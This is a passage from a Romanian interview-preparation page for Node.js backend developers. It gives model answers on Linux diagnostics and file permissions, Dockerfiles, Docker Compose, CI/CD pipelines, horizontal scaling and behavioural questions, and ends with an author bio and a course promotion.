sudo lsof -i :3000             # alternativă
ps -fp 12345                   # detalii despre procesul cu PID 12345
kill 12345                     # trimite SIGTERM: oprire grațioasă
kill -9 12345                  # SIGKILL: doar dacă nu reacționează

Adesea cauza este o instanță veche a aplicației, rămasă pornită după un deploy sau rulată manual într-o sesiune separată.

Resurse:

BASH
top                     # sau htop: CPU și memorie pe procese, sortare cu M / P
free -h                 # memoria totală, folosită, disponibilă
df -h                   # spațiu pe disc pe partiții
du -sh /var/log/*       # ce ocupă spațiu
uptime                  # load average

Un disc plin oprește des aplicațiile în moduri surprinzătoare, de exemplu loguri care nu se mai scriu sau baza de date care refuză scrierile.

Loguri:

BASH
journalctl -u api.service -f --since "10 min ago"   # serviciu systemd
tail -f /var/log/app/error.log
grep -i "error" app.log | tail -50
docker logs -f --tail 100 api                        # dacă rulează în container

Rețea:

BASH
curl -i http://localhost:3000/health
curl -v https://api.extern.ro       # vezi TLS, headere, timp de răspuns
dig api.extern.ro                   # rezolvare DNS

Dacă ss arată că aplicația ascultă pe 127.0.0.1:3000, ea nu este accesibilă din afara mașinii; în containere, serverul trebuie să asculte pe 0.0.0.0.

Alte comenzi utile: env pentru variabilele de mediu, systemctl status api pentru starea serviciului, dmesg pentru procese oprite de kernel din lipsă de memorie (OOM killer).

Ce urmărește intervievatorul: Arată dacă te descurci singur pe un server. Mulți juniori știu doar să repornească mașina; aici se caută o metodă și comenzile de bază.

88 Junior

Cum funcționează permisiunile de fișiere în Linux și ce înseamnă chmod 640?

Răspuns scurt: Fiecare fișier are un proprietar, un grup și trei seturi de permisiuni (citire, scriere, execuție) pentru proprietar, grup și ceilalți. 640 înseamnă proprietarul poate citi și scrie (6), grupul poate doar citi (4), ceilalți nu au acces (0).

ls -l arată permisiunile:

-rw-r----- 1 app app 512 Oct 30 10:00 .env
drwxr-xr-x 2 app app 4096 Oct 30 10:00 dist

Primul caracter este tipul (- fișier, d director). Urmează trei grupuri de câte trei: proprietar, grup, ceilalți. r = citire (4), w = scriere (2), x = execuție (1). Suma dă cifra: rw- = 6, r-- = 4, r-x = 5, --- = 0.

Pentru directoare, sensul diferă: r permite listarea conținutului, w crearea și ștergerea fișierelor din director, iar x intrarea în director și accesul la fișiere după nume.

BASH
chmod 640 .env                  # numeric
chmod u+x scripts/deploy.sh     # simbolic: adaugă execuție pentru proprietar
chown app:app -R /srv/api       # schimbă proprietarul și grupul, recursiv

Aplicații practice pentru backend:

  • fișierele cu secrete (.env, chei private) au 600 sau 640 și aparțin utilizatorului aplicației; SSH refuză chiar să folosească o cheie privată cu permisiuni prea largi;
  • aplicația rulează ca un utilizator dedicat, fără privilegii, nu ca root; astfel, o vulnerabilitate nu oferă control asupra întregului sistem;
  • directoarele în care aplicația scrie (upload-uri, cache) sunt singurele pe care are drept de scriere;
  • chmod 777 „ca să meargă” este o greșeală: oricine de pe sistem poate modifica fișierele, inclusiv codul.

În containere, aceeași logică se aplică prin instrucțiunea USER din Dockerfile. Problemele de permisiuni apar des cu volumele montate, când UID-ul din container nu corespunde cu cel de pe gazdă.

Un script fără bitul x dă Permission denied la ./deploy.sh, dar poate fi rulat cu bash deploy.sh.

Ce urmărește intervievatorul: Verifică noțiunile de bază de Linux și reflexele de securitate. Folosirea lui chmod 777 ca soluție este un semnal negativ clar.

89 Junior

Scrie un Dockerfile pentru o aplicație Node.js și explică fiecare instrucțiune.

Răspuns scurt: Pornești de la o imagine oficială Node.js într-o versiune fixată, copiezi întâi package.json și lock-file-ul, rulezi npm ci, apoi copiezi codul, setezi NODE_ENV=production, rulezi ca utilizator non-root și pornești direct cu node, nu prin npm start.

DOCKERFILE
FROM node:22-alpine

WORKDIR /app
ENV NODE_ENV=production

COPY package.json package-lock.json ./
RUN npm ci --omit=dev && npm cache clean --force

COPY --chown=node:node . .

USER node
EXPOSE 3000
CMD ["node", "src/server.js"]

Explicații:

  • FROM node:22-alpine: versiune majoră fixată, nu latest, ca build-urile să fie reproductibile. Alpine dă imagini mici, dar folosește musl în loc de glibc; dacă ai module native cu probleme, alegi o variantă -slim bazată pe Debian.
  • WORKDIR: directorul de lucru pentru instrucțiunile următoare.
  • Ordinea COPY: Docker refolosește din cache straturile neschimbate. Copiind întâi doar fișierele de dependențe, npm ci rulează din nou doar când acestea se schimbă, nu la fiecare modificare de cod.
  • npm ci --omit=dev: instalare exactă din lock, fără dependențele de dezvoltare.
  • USER node: imaginea oficială are deja utilizatorul node; rularea ca root în container crește impactul unei vulnerabilități.
  • EXPOSE: documentează portul; publicarea efectivă se face la rulare, cu -p 3000:3000.
  • CMD în forma exec (array JSON): Node.js devine procesul principal și primește direct SIGTERM. Prin npm start sau forma shell, semnalele pot să nu ajungă la aplicație, iar oprirea durează până la SIGKILL.

Necesar și un fișier .dockerignore:

node_modules
.git
.env
*.log
coverage

Fără el, COPY . . ar include node_modules de pe mașina ta (posibil compilat pentru alt sistem), istoricul Git și secretele locale.

BASH
docker build -t api:1.0 .
docker run --rm -p 3000:3000 --env-file .env api:1.0

Ce urmărește intervievatorul: Întrebare practică foarte frecventă. Se urmărește ordinea pentru cache, .dockerignore, rularea non-root și forma exec a lui CMD.

90 Junior

Care este diferența dintre o imagine și un container Docker? La ce folosesc volumele și Docker Compose?

Răspuns scurt: Imaginea este un șablon imuabil, format din straturi; containerul este o instanță în execuție a ei, cu un strat de scriere temporar. Volumele păstrează datele după ștergerea containerului, iar Docker Compose pornește împreună mai multe containere.

Analogia uzuală: imaginea este ca o clasă, containerul ca un obiect. Din aceeași imagine postgres:16 poți porni mai multe containere independente.

Containerul are un strat de scriere propriu. Când îl ștergi, tot ce s-a scris acolo dispare. De aceea containerele sunt considerate efemere, iar datele care trebuie păstrate stau în volume:

  • named volume (pgdata:/var/lib/postgresql/data): gestionat de Docker, potrivit pentru baze de date;
  • bind mount (./src:/app/src): un director de pe gazdă montat în container, util în dezvoltare pentru a vedea modificările de cod fără rebuild.

Docker Compose descrie un mediu complet într-un fișier YAML. Exemplu pentru dezvoltare locală:

YAML
services:
  api:
    build: .
    ports: ["3000:3000"]
    environment:
      DATABASE_URL: postgres://app:secret@db:5432/app
      REDIS_URL: redis://cache:6379
    depends_on:
      db:
        condition: service_healthy
  db:
    image: postgres:16
    environment:
      POSTGRES_USER: app
      POSTGRES_PASSWORD: secret
      POSTGRES_DB: app
    volumes: [pgdata:/var/lib/postgresql/data]
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U app"]
      interval: 5s
  cache:
    image: redis:7
volumes:
  pgdata:
BASH
docker compose up -d
docker compose logs -f api
docker compose down          # oprește; adaugă -v ca să ștergi și volumele

Detalii importante: serviciile se găsesc între ele după nume (db, cache) prin rețeaua creată de Compose, deci în container nu folosești localhost pentru baza de date. depends_on simplu așteaptă doar pornirea containerului, nu disponibilitatea serviciului; condiția service_healthy cu un healthcheck rezolvă asta.

Un coleg nou poate porni tot mediul cu o singură comandă, iar CI-ul poate folosi aceeași configurație pentru testele de integrare.

Ce urmărește intervievatorul: Se verifică înțelegerea conceptelor de bază și folosirea practică în dezvoltare. Greșeala tipică: datele bazei de date ținute în container fără volum sau localhost între containere.

91 Mid

Cum reduci dimensiunea și crești siguranța unei imagini Docker pentru o aplicație Node.js cu TypeScript?

Răspuns scurt: Folosești un multi-stage build: într-o etapă instalezi toate dependențele și compilezi TypeScript-ul, iar în etapa finală copiezi doar codul compilat și dependențele de producție, pe o imagine de bază mică, rulată ca utilizator non-root. Adaugi scanare de vulnerabilități și versiuni fixate.

Un Dockerfile cu o singură etapă ar include compilatorul TypeScript, testele, sursele și toate devDependencies. Imaginea devine mare, se descarcă greu la deploy și are mai multe pachete cu potențiale vulnerabilități.

DOCKERFILE
# etapa 1: build
FROM node:22-slim AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY tsconfig.json ./
COPY src ./src
RUN npm run build            # tsc -> dist/

# etapa 2: dependențe de producție
FROM node:22-slim AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev

# etapa 3: imaginea finală
FROM node:22-slim
WORKDIR /app
ENV NODE_ENV=production
COPY --from=deps /app/node_modules ./node_modules
COPY --from=build /app/dist ./dist
COPY package.json ./
USER node
CMD ["node", "dist/server.js"]

Doar ultima etapă devine imaginea publicată; celelalte servesc ca surse pentru COPY --from.

Alte practici:

  • imagini de bază minimale: -slim, -alpine sau imagini „distroless” (fără shell și manager de pachete); mai puține componente înseamnă mai puține vulnerabilități, dar și depanare mai grea;
  • versiuni fixate (node:22.11-slim sau chiar digest-ul @sha256:...), actualizate controlat;
  • scanare: docker scout cves, Trivy sau Grype în pipeline, cu eșec la vulnerabilități critice;
  • secrete: nu se pun în ENV sau ARG, pentru că rămân în istoricul imaginii (docker history); la build se folosesc BuildKit secrets (RUN --mount=type=secret);
  • sistem de fișiere read-only la rulare (--read-only, cu tmpfs pentru directoarele temporare) și capabilități Linux reduse (--cap-drop=ALL);
  • health check pentru orchestrator;
  • --init sau tini dacă aplicația pornește procese copil, ca semnalele și procesele zombie să fie gestionate corect.

Ce urmărește intervievatorul: Se verifică experiența cu imagini de producție. Bonus: menționarea secretelor rămase în straturile imaginii și a scanării în CI.

92 Mid

Cum arată un pipeline CI/CD pentru un serviciu Node.js?

Răspuns scurt: CI rulează la fiecare push: instalare din lock, lint, verificare de tipuri, teste și build de imagine. CD publică imaginea versionată, rulează migrațiile, face deploy, verifică sănătatea aplicației și permite rollback rapid.

CI (continuous integration): fiecare modificare este verificată automat înainte să ajungă în ramura principală. CD (continuous delivery/deployment): modificările validate ajung automat (sau cu un clic) în medii.

Exemplu simplificat cu GitHub Actions:

YAML
name: ci
on:
  pull_request:
  push:
    branches: [main]
jobs:
  test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:16
        env: { POSTGRES_PASSWORD: test }
        ports: ["5432:5432"]
        options: >-
          --health-cmd "pg_isready" --health-interval 5s
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 22, cache: npm }
      - run: npm ci
      - run: npm run lint
      - run: npm run typecheck
      - run: npm test
        env: { DATABASE_URL: postgres://postgres:test@localhost:5432/postgres }

Etapele unui flux complet:

1. verificări rapide: lint, format, tipuri, teste unitare; eșuează repede; 2. teste de integrare cu servicii reale în containere; 3. securitate: npm audit, scanarea imaginii, detectarea secretelor comise; 4. build al imaginii, etichetată cu SHA-ul commit-ului, nu doar cu latest; 5. deploy pe staging, smoke tests; 6. deploy în producție: rolling update, blue-green sau canary, cu migrații compatibile cu versiunea veche; 7. verificare după deploy (health checks, rata de erori) și rollback automat sau rapid.

Principii: aceeași imagine trece prin toate mediile, doar configurarea diferă; secretele stau în managerul de secrete al platformei de CI; pipeline-ul rapid (câteva minute) încurajează commit-uri mici și dese; ramura principală trebuie să fie mereu deployabilă, iar funcționalitățile neterminate se ascund în spatele unor feature flags.

Ce urmărește intervievatorul: Arată dacă ai lucrat într-o echipă cu livrare automată. Se urmărește ordinea etapelor și strategia de deploy și rollback.

93 Senior

Cum faci ca o aplicație Node.js să poată rula pe mai multe instanțe în spatele unui load balancer?

Răspuns scurt: Aplicația trebuie să fie stateless: nicio stare în memoria procesului (sesiuni, fișiere, job-uri programate) care să lipsească de pe celelalte instanțe. Starea se mută în baza de date, Redis sau stocare de obiecte, iar sarcinile unice se coordonează.

Load balancer-ul poate trimite două request-uri consecutive ale aceluiași utilizator la instanțe diferite. Orice presupunere că „procesul ține minte” se strică.

Ce trebuie mutat sau schimbat:

  • sesiuni: în Redis sau în baza de date, ori token-uri care nu cer stare pe server; „sticky sessions” pe load balancer sunt o soluție temporară care strică distribuția și se pierd la repornire;
  • fișiere încărcate: într-un serviciu de stocare de obiecte (S3 sau compatibil), nu pe discul local al containerului;
  • cache: un cache local e acceptabil doar dacă datele vechi câteva secunde nu contează; altfel, Redis cu invalidare;
  • rate limiting și contoare: store comun;
  • job-uri programate (setInterval, node-cron): rulează pe fiecare instanță, deci un email zilnic pleacă de N ori. Soluții: un worker separat, o coadă cu job-uri repetitive (BullMQ) sau un lock distribuit, de exemplu advisory lock în PostgreSQL;
  • WebSocket-uri: un mesaj publicat pe o instanță trebuie să ajungă la clienții conectați la celelalte; Socket.IO are adaptor Redis, altfel folosești pub/sub;
  • migrații: rulate o singură dată, ca pas separat de deploy, nu la pornirea fiecărei instanțe.

Elemente operaționale:

  • health checks: un endpoint de liveness (procesul trăiește) și unul de readiness (poate primi trafic, de exemplu are conexiune la baza de date);
  • graceful shutdown, ca instanțele scoase din rotație să își termine request-urile;

Pe o singură mașină poți folosi PM2 în mod cluster sau modulul cluster pentru a folosi toate nucleele; în containere, standardul este un proces per container și scalare prin orchestrator (Kubernetes, ECS, Docker Swarm).

Ce urmărește intervievatorul: Întrebare de arhitectură la nivel senior. Job-urile programate duplicate și fișierele salvate local sunt capcanele pe care intervievatorul le caută.

Comportamentale și HR

94 Junior

Povestește-mi despre tine și de ce vrei să lucrezi ca backend developer.

Răspuns scurt: Un răspuns bun are 1–2 minute și urmează un fir: de unde vii, ce ai învățat și construit concret în backend, ce te atrage la această meserie și de ce rolul acesta este pasul următor logic. Nu repeta CV-ul rând cu rând.

Întrebarea deschide aproape orice interviu.

O structură simplă, prezent, trecut, viitor:

  • prezent: cine ești acum, în o propoziție. „Lucrez ca tester de doi ani și de un an învăț backend cu Node.js.” sau „Sunt la final de facultate și am construit câteva API-uri în Node.js și TypeScript.”
  • trecut relevant: unul sau două lucruri concrete pe care le-ai construit sau învățat, cu detalii tehnice. „Am făcut un API pentru rezervări cu Express, PostgreSQL și autentificare cu JWT, cu teste de integrare și deploy în Docker.”
  • de ce backend: o motivație specifică. De exemplu, îți place să gândești cum circulă și cum se păstrează datele, să optimizezi un query lent, să proiectezi un API pe care alții îl folosesc ușor.
  • viitor: de ce acest rol și această echipă.

Model scurt:

„Am terminat Automatică anul trecut și, în ultimele luni, m-am concentrat pe backend în Node.js. Cel mai complex proiect al meu este un API pentru o aplicație de rezervări: autentificare cu refresh token, PostgreSQL cu migrații, teste cu supertest și un pipeline în GitHub Actions. Partea care mi-a plăcut cel mai mult a fost când am găsit cu EXPLAIN de ce o listă se încărca greu. Caut un rol în care să lucrez pe un produs real, alături de oameni mai experimentați, iar faptul că voi folosiți Node.js și PostgreSQL se potrivește cu ce am construit până acum.”

Evită: povestea completă a vieții, critici la adresa locului de muncă actual și răspunsuri generice învățate pe de rost.

Ce urmărește intervievatorul: Se evaluează claritatea, motivația și dacă ai lucrat efectiv cu tehnologiile. Greșeala tipică este un monolog lung fără niciun detaliu concret.

95 Junior

Povestește despre un bug greu pe care l-ai rezolvat.

Răspuns scurt: Folosește structura STAR: situația, sarcina ta, acțiunile concrete și rezultatul. Insistă pe metoda de investigare (ce ai observat, ce ipoteze ai avut, cum le-ai verificat) și pe ce ai schimbat ca problema să nu mai apară.

Intervievatorul nu caută cel mai spectaculos bug, ci felul în care gândești când ceva nu merge: dacă ai o metodă, dacă ești perseverent și dacă înveți din greșeli.

Structura STAR:

  • Situation: contextul în două propoziții. Proiect, tehnologii, ce simptom apărea.
  • Task: ce responsabilitate aveai tu.
  • Action: pașii concreți. Aceasta este partea cea mai importantă și cea mai lungă.
  • Result: ce s-a schimbat, ideal măsurabil, și ce ai învățat.

Model (adaptează-l la o experiență reală, nu inventa):

„Situația: într-un proiect personal, un API Node.js cu PostgreSQL, după câteva ore de funcționare request-urile începeau să expire, iar la repornire totul mergea din nou.

Sarcina: eram singurul dezvoltator, deci trebuia să găsesc cauza.

Acțiunile: întâi am adăugat loguri cu durata fiecărui request și am observat că nu un endpoint anume era lent, ci toate rămâneau blocate la primul query. Asta m-a dus la ipoteza că pool-ul de conexiuni se epuiza. Am logat totalCount, idleCount și waitingCount din pool și am văzut că numărul de conexiuni libere scădea constant. Am căutat locurile unde luam manual un client cu pool.connect() și am găsit o tranzacție în care, pe ramura de eroare, release() nu se mai apela. Am mutat release() într-un bloc finally.

Rezultatul: problema nu a mai apărut. Am adăugat un test care forțează eroarea și verifică pool-ul, plus connectionTimeoutMillis, ca pe viitor să primesc o eroare clară în loc de request-uri agățate.”

Încheie cu lecția: ce faci diferit acum. Evită poveștile în care bug-ul s-a rezolvat „singur” sau în care vina era integral a altcuiva.

Ce urmărește intervievatorul: Este una dintre cele mai frecvente întrebări comportamentale pentru developeri. Se apreciază metoda și asumarea, nu dramatismul.

96 Junior

Care este proiectul de care ești cel mai mândru și ce decizii tehnice ai luat în el?

Răspuns scurt: Alege un proiect pe care îl cunoști în detaliu, descrie pe scurt problema pe care o rezolvă, apoi concentrează-te pe 2–3 decizii tehnice: ce alternative ai avut, de ce ai ales cum ai ales și ce ai face altfel acum.

Această întrebare este adesea punctul de plecare pentru o discuție tehnică lungă. Intervievatorul va pune întrebări suplimentare pornind de la ce spui, deci alege un proiect pe care chiar l-ai construit și îl înțelegi până la detalii.

Structură recomandată:

  • problema și utilizatorii: o propoziție despre ce face aplicația și pentru cine;
  • arhitectura pe scurt: componentele principale (API, bază de date, cozi, servicii externe);
  • 2–3 decizii argumentate, fiecare cu alternativa respinsă;
  • o dificultate și cum ai depășit-o;
  • ce ai îmbunătăți: arată maturitate și autocritică.

Exemplu de formulare a unei decizii:

„Pentru notificările prin email am ales să nu le trimit direct din request, ci printr-o coadă cu BullMQ. Prima variantă le trimitea sincron și, când furnizorul de email răspundea greu, crearea comenzii dura câteva secunde. Cu coada, API-ul răspunde imediat, iar worker-ul reîncearcă automat. Compromisul a fost că am avut nevoie de Redis și de monitorizarea cozii.”

Alte decizii bune de discutat: alegerea bazei de date și a modelului de date, autentificarea (sesiuni vs JWT), structura pe module, strategia de testare, modul de deploy.

Ce să eviți:

  • proiecte urmate pas cu pas după un tutorial, fără nicio contribuție proprie; dacă ai pornit de la un tutorial, spune ce ai adăugat tu;
  • liste de tehnologii fără explicația alegerii;
  • afirmații pe care nu le poți susține la întrebări de detaliu.

Dacă proiectul este public pe GitHub, asigură-te că are un README clar, instrucțiuni de rulare și teste, pentru că intervievatorul se poate uita la cod.

Ce urmărește intervievatorul: Se testează profunzimea înțelegerii și capacitatea de a argumenta. Întrebările de follow-up arată rapid dacă proiectul este al tău.

97 Junior

Ce întrebări ai pentru noi?

Răspuns scurt: Pregătește 3–5 întrebări sincere despre munca efectivă: cum arată o zi în echipă, cum se face code review și deploy, cum sunt sprijiniți juniorii, care sunt provocările tehnice actuale. A nu avea nicio întrebare transmite lipsă de interes.

Finalul interviului este și momentul în care tu evaluezi compania. Întrebările bune arată că te gândești la cum vei lucra efectiv și te ajută să decizi dacă rolul ți se potrivește.

Întrebări utile pentru un rol de backend:

  • „Cum arată drumul unei modificări de la ticket până în producție? Cât de des faceți deploy?”
  • „Cum se face code review în echipă și cât de repede primește cineva feedback?”
  • „Care este cea mai mare provocare tehnică a echipei în perioada următoare?”
  • „Cum gestionați incidentele din producție? Există tură de gardă (on-call) și cum este organizată?”
  • „Ce tehnologii folosiți pe backend și există planuri de schimbare?”
  • „Cum arată primele luni pentru cineva nou? Există un mentor sau un plan de acomodare?”
  • „Ce ar face ca, după șase luni, să considerați că am fost o alegere bună?”

Întrebările despre salariu, beneficii și program sunt legitime, dar se potrivesc mai bine în discuția cu recrutorul sau în etapa de ofertă, dacă nu au fost deja abordate.

Ce să eviți:

  • întrebări al căror răspuns este pe prima pagină a site-ului companiei;
  • „Nu, ați acoperit tot”, fără nicio continuare;
  • întrebări care sună ca o evaluare a intervievatorului.

Ascultă răspunsurile și, dacă e cazul, pune o întrebare de continuare. Răspunsurile vagi la întrebări despre code review, testare sau deploy pot fi un semnal despre maturitatea procesului de lucru.

La final, mulțumește pentru timp și întreabă care sunt pașii următori și în cât timp te poți aștepta la un răspuns.

Ce urmărește intervievatorul: Intervievatorul urmărește interesul real și dacă te-ai documentat. A nu avea întrebări este un semnal negativ des întâlnit.

98 Mid

Povestește o situație în care nu ai fost de acord cu un coleg sau cu un lead asupra unei decizii tehnice. Cum ai procedat?

Răspuns scurt: Arată că ai discutat pe baza argumentelor și a datelor, nu a preferințelor, că ai ascultat cealaltă perspectivă, ai propus o modalitate obiectivă de decizie (prototip, măsurătoare, criterii comune) și că ai susținut decizia finală chiar dacă nu a fost a ta.

Intervievatorul vrea să știe dacă poți avea un dezacord fără conflict personal și fără să blochezi echipa.

Elemente ale unui răspuns bun:

  • contextul: care era decizia și de ce conta;
  • poziția ta și argumentele: tehnice și legate de impact, nu „așa prefer”;
  • ascultarea: ce argumente avea celălalt și ce ai înțeles din ele;
  • metoda de decizie: date, prototip, criterii clare, implicarea unei a treia persoane;
  • rezultatul și atitudinea: decizia luată, cum ai contribuit la reușita ei, ce ai învățat.

Model:

„Situația: urma să adăugăm căutare de produse, iar colegul mai experimentat propunea introducerea Elasticsearch. Eu credeam că pentru volumul nostru ar fi suficientă căutarea full-text din PostgreSQL și că un serviciu nou ar complica operarea.

Acțiunile: am întrebat întâi ce cerințe vedea el pe viitor; argumentul lui principal era relevanța rezultatelor și toleranța la greșeli de scriere. Am propus să facem o comparație timeboxată: am construit în două zile un prototip cu tsvector și extensia pg_trgm și l-am testat pe căutările reale din loguri, după criterii stabilite împreună: latență, calitatea primelor rezultate, efort de operare.

Rezultatul: pentru moment am rămas pe PostgreSQL, cu un plan de migrare dacă cerințele cresc. Colegul a avut dreptate în privința toleranței la greșeli, pe care am rezolvat-o cu pg_trgm. Am învățat că un experiment mic închide o discuție mai bine decât încă o ședință.”

Dacă decizia nu a fost cea propusă de tine, spune deschis și arată că ai implementat-o cu aceeași seriozitate. Evită poveștile în care celălalt este prezentat ca incompetent.

Ce urmărește intervievatorul: Se evaluează colaborarea și maturitatea profesională. Semnale negative: încăpățânarea, lipsa argumentelor sau critica personală a colegilor.

99 Mid

Ce faci când primești un task pe care nu știi cum să-l rezolvi sau când îți dai seama că nu vei termina la timp ce ai estimat?

Răspuns scurt: Investighezi singur un timp limitat, apoi ceri ajutor cu o întrebare clară care arată ce ai încercat. Când estimarea nu se mai potrivește, anunți devreme, explici cauza și propui opțiuni: scop redus, termen nou sau ajutor.

Intervievatorul verifică două lucruri importante pentru orice developer, mai ales la început: autonomia și comunicarea transparentă.

Când nu știi cum să rezolvi:

1. clarifici cerința: ce rezultat se așteaptă și care sunt criteriile de acceptare; multe blocaje vin din cerințe neînțelese; 2. cauți în codul existent un caz asemănător, citești documentația bibliotecilor, faci un prototip mic; 3. îți dai un interval de timp (de exemplu o oră sau două, în funcție de task) după care ceri ajutor; 4. formulezi întrebarea bine: „Încerc să fac X. Am încercat A și B, am obținut eroarea Y. Bănuiesc că problema e Z. Mă poți ajuta să înțeleg dacă direcția e bună?”

Când estimarea se dovedește greșită:

  • anunți imediat ce îți dai seama, nu în ziua termenului;
  • explici concret ce s-a descoperit: „integrarea cu API-ul de facturare cere un flux de autentificare pe care nu îl anticipasem”;
  • propui opțiuni: livrăm întâi partea de bază și restul în iterația următoare, mutăm termenul cu două zile, mă ajută cineva care a mai lucrat cu acel API;

Model scurt: „Pe un task de export de rapoarte am estimat două zile. În prima zi am descoperit că datele vin din trei tabele fără indecșii necesari și exportul dura minute întregi. I-am spus imediat lead-ului ce am găsit și am propus să livrăm exportul pe o lună, iar optimizarea pentru intervale mari separat. A acceptat, iar optimizarea a intrat în sprintul următor.”

Evită răspunsurile de tipul „lucrez peste program până termin” ca soluție implicită; ascunde problema în loc să o rezolve.

Ce urmărește intervievatorul: Se evaluează autonomia, comunicarea și onestitatea. Greșeala tipică este fie blocarea în tăcere zile întregi, fie cererea de ajutor fără nicio încercare.

100 Senior

Povestește despre o greșeală a ta care a ajuns în producție. Ce s-a întâmplat și ce ai schimbat după aceea?

Răspuns scurt: Alege un incident real, asumă-ți partea ta fără să minimalizezi, descrie cum ai limitat rapid impactul, cum ai găsit cauza și, mai ales, ce schimbări de proces sau de sistem au rezultat ca greșeala să nu se mai poată repeta ușor.

La nivel senior, întrebarea nu verifică dacă ai făcut greșeli, pentru că toți cei care livrează în producție fac. Verifică dacă îți asumi, dacă reacționezi calm sub presiune și dacă gândești în termeni de sistem, nu de vină personală.

Structura unui răspuns bun:

  • ce s-a întâmplat și impactul, pe scurt și onest;
  • detectarea: cum ai aflat (alertă, client, coleg) și cât a durat;
  • atenuarea: prima prioritate este oprirea impactului (rollback, feature flag, corecție rapidă), nu găsirea vinovatului;
  • cauza reală: nu doar „am greșit o linie”, ci de ce a fost posibilă greșeala și de ce nu a fost prinsă;
  • schimbările durabile: teste, validări, alerte, procese;

Model:

„Am scris o migrație care adăuga o coloană NOT NULL cu valoare implicită pe un tabel mare de comenzi. Pe staging, cu puține date, a durat o secundă. În producție rulam o versiune de PostgreSQL mai veche de 11, la care această operație rescrie tot tabelul; migrația a rescris tabelul și l-a blocat câteva minute, timp în care comenzile noi eșuau.

Am observat creșterea erorilor din alerte, am anunțat echipa și, pentru că migrația nu putea fi anulată la jumătate fără risc, am așteptat finalizarea ei, comunicând între timp cu echipa de suport.

În post-mortem am stabilit trei schimbări: migrațiile pe tabele mari se fac în pași (coloană nullable, backfill în loturi, apoi constrângerea), avem în CI o verificare care semnalează operațiile de schemă riscante, iar migrațiile mari se testează pe o copie cu volum realist de date.”

Tonul potrivit: asumat, factual, fără să dai vina pe alții.

Ce urmărește intervievatorul: Se evaluează asumarea, calmul și gândirea sistemică. Semnale negative: „nu am avut niciodată probleme în producție” sau mutarea vinei pe alții.

Întrebări de interviu pe tehnologii

Pregătire de interviu pentru alte meserii

Exerciții rezolvate pentru Backend Developer (Node.js)

← Toate întrebările de interviu

Tudor Andrei Dumitrescu
Cine coordonează pregătirea de interviu

Tudor Andrei Dumitrescu

Senior Software Developer · fondatorul Academiei Programatorilor

LinkedIn
  1. 2019 Junior JavaCognizant Softvision
  2. 2021 Mid JavaCognizant Softvision
  3. 2022 Team LeaderEndava
  4. 2023 Senior Software DeveloperUniCredit
  5. Acum Senior Software DeveloperHCLTech
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu
Certificat de formator autorizatMinisterul Muncii și Ministerul Educației · 2022
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu

Certificat de formator autorizat · Ministerul Muncii și Ministerul Educației · 2022

Din 2020 construiește Academia Programatorilor, iar din 2026 și JoburiIT.ro. Întrebările de aici urmăresc ce se cere la interviurile de Backend Developer (Node.js), de la junior la mid, iar pe JoburiIT.ro îți poți certifica apoi cunoștințele.

De la întrebări la primul job de Backend Developer (Node.js)

Traseul de carieră îți pune cursurile în ordine, cu exerciții verificate automat și proiecte despre care poți vorbi la interviu. Primele lecții sunt gratuite.